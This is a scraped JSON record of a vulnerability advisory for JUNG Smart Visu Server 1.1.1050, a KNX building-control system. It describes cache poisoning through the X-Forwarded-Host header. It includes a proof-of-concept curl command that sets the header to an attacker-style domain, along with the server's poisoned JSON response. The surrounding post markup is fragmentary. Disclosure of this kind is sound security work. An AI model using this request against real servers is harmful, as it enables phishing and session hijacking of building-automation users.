{“lastseen”:”2026-02-12T17:20:22″,”description”:”JUNG Smart Visu Server version 1.1.1050 has a vulnerability that enables unauthenticated attackers to perform cache poisoning attacks by overriding the effective host in proxied requests through manipulation of the X-Forwarded-Host header. When a…”,”published”:”2026-02-12T00:00:00″,”modified”:”2026-02-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 JUNG Smart Visu Server 1.1.1050 Request URL Override”,”source”:””,”references”:””,”id”:”PACKETSTORM:215522″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”JUNG Smart Visu Server 1.1.1050 Request URL Override\\n \\n \\n Vendor: ALBRECHT JUNG GMBH \\u0026 CO. KG\\n Product web page: https:\/\/www.jung-group.com | https:\/\/www.jung.de\\n Affected version: 1.1.1050\\n 1.0.905\\n 1.0.832\\n 1.0.830\\n \\n Summary: The Smart Visu Server makes your intelligent building\\n control convenient. With the user-friendly operating concept,\\n you can control both the KNX system and other systems such as\\n Philips Hue or Sonos on your mobile devices. You can likewise\\n connect voice control to your KNX system with Amazon Alexa or\\n Google Assistant via the Smart Visu Server.\\n \\n Desc: The vulnerability enables unauthenticated attackers to perform\\n cache poisoning attacks by overriding the effective host in proxied\\n requests through manipulation of the ‘X-Forwarded-Host’ header. When\\n a malicious actor sends a request with an arbitrary value, the backend\\n application or proxy fails to properly validate or sanitize this header,\\n resulting in the generation of responses that incorporate the injected\\n host as legitimate URLs or links, redirecting to the attacker’s controlled\\n domain. This can lead to persistent cache poisoning, where the tainted\\n content is stored and served to unsuspecting users, facilitating phishing,\\n session hijacking, or the distribution of malicious payloads.\\n \\n Tested on: Jetty(9.2.12.v20150709)\\n \\n \\n Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n \\n \\n Advisory ID: ZSL-2026-5970\\n Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2026-5970.php\\n \\n \\n 07.02.2026\\n \\n –\\n \\n \\n $ curl \\”http:\/\/10.0.0.16:8080\/rest\/items?2sdh5r6txj=1\\” \\\\\\n -H \\”User-Agent: thricer-engine\/1.6\\” \\\\\\n -H \\”X-Forwarded-Host: sillysec.com\\”\\n \\n HTTP\/1.1 200 OK\\n Content-Type: application\/json\\n Connection: close\\n \\n [{\\”link\\”:\\”http:\/\/sillysec.com\/rest\/items\/knxcom_action_2019829213754373\\”,\\”state\\”:\\”NULL\\”,\\”type\\”:\\”SwitchItem\\”,\\”name\\”:\\”knxcom_action_2019829213754373\\”,\\”label\\”:\\”Timer_ON\\”,\\”tags\\”:[\\”knxcommissioning\\”,\\”knxcom_action\\”,\\”{\\\\\\”knxcom_action\\\\\\”:\\\\\\”knxcom_action\\\\\\”,\\\\\\”actionType\\\\\\”:\\\\\\”time\\\\\\”,\\\\\\”function_states\\\\\\”:[{\\\\\\”function_name\\\\\\”:\\\\\\”knxcom_function_201817101939842\\\\\\”,\\\\\\”channel_states\\\\\\”:[{\\\\\\”channel_index\\\\\\”:0,\\\\\\”channel_commands\\\\\\”:{\\\\\\”OnOffType\\\\\\”:\\\\\\”ON\\\\\\”}}]},{\\\\\\”function_name\\\\\\”:\\\\\\”knxcom_function_2017919141856124\\\\\\”,\\\\\\”channel_states\\\\\\”:[{\\\\\\”channel_index\\\\\\”:0,\\\\\\”channel_commands\\\\\\”:{\\\\\\”OnOffType\\\\\\”:\\\\\\”ON\\\\\\”}}]},{\\\\\\”function_name\\\\\\”:\\\\\\”knxcom_function_2017919144055744\\\\\\”,\\\\\\”channel_states\\\\\\”:[{\\\\\\”channel_index\\\\\\”:0,\\\\\\”channel_commands\\\\\\”:{\\\\\\”OnOffType\\\\\\”:\\\\\\”ON\\\\\\”}}]}],\\\\\\”icon\\\\\\”:\\\\\\”schaltuhr\\\\\\”,\\\\\\”sortindex\\\\\\”:{\\\\\\”generic\\\\\\”:3},\\\\\\”timer\\\\\\”:{\\\\\\”time\\\\\\”:\\\\\\”16:0\\\\\\”,\\\\\\”weekdays\\\\\\”:{\\\\\\”1\\\\\\”:true,\\\\\\”2\\\\\\”:true,\\\\\\”3\\\\\\”:true,\\\\\\”4\\\\\\”:true,\\\\\\”5\\\\\\”:true,\\\\\\”6\\\\\\”:true,\\\\\\”7\\\\\\”:true}}}\\”],\\”groupNames\\”:[\\”knxcom_group_201982922375216\\”]},{\\”link\\”:\\n …\\n …”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215522″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215522\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-12T17:20:22″,”description”:”JUNG Smart Visu Server version 1.1.1050 has a vulnerability that enables unauthenticated attackers to perform cache poisoning attacks by overriding the effective host in proxied…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-40637","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n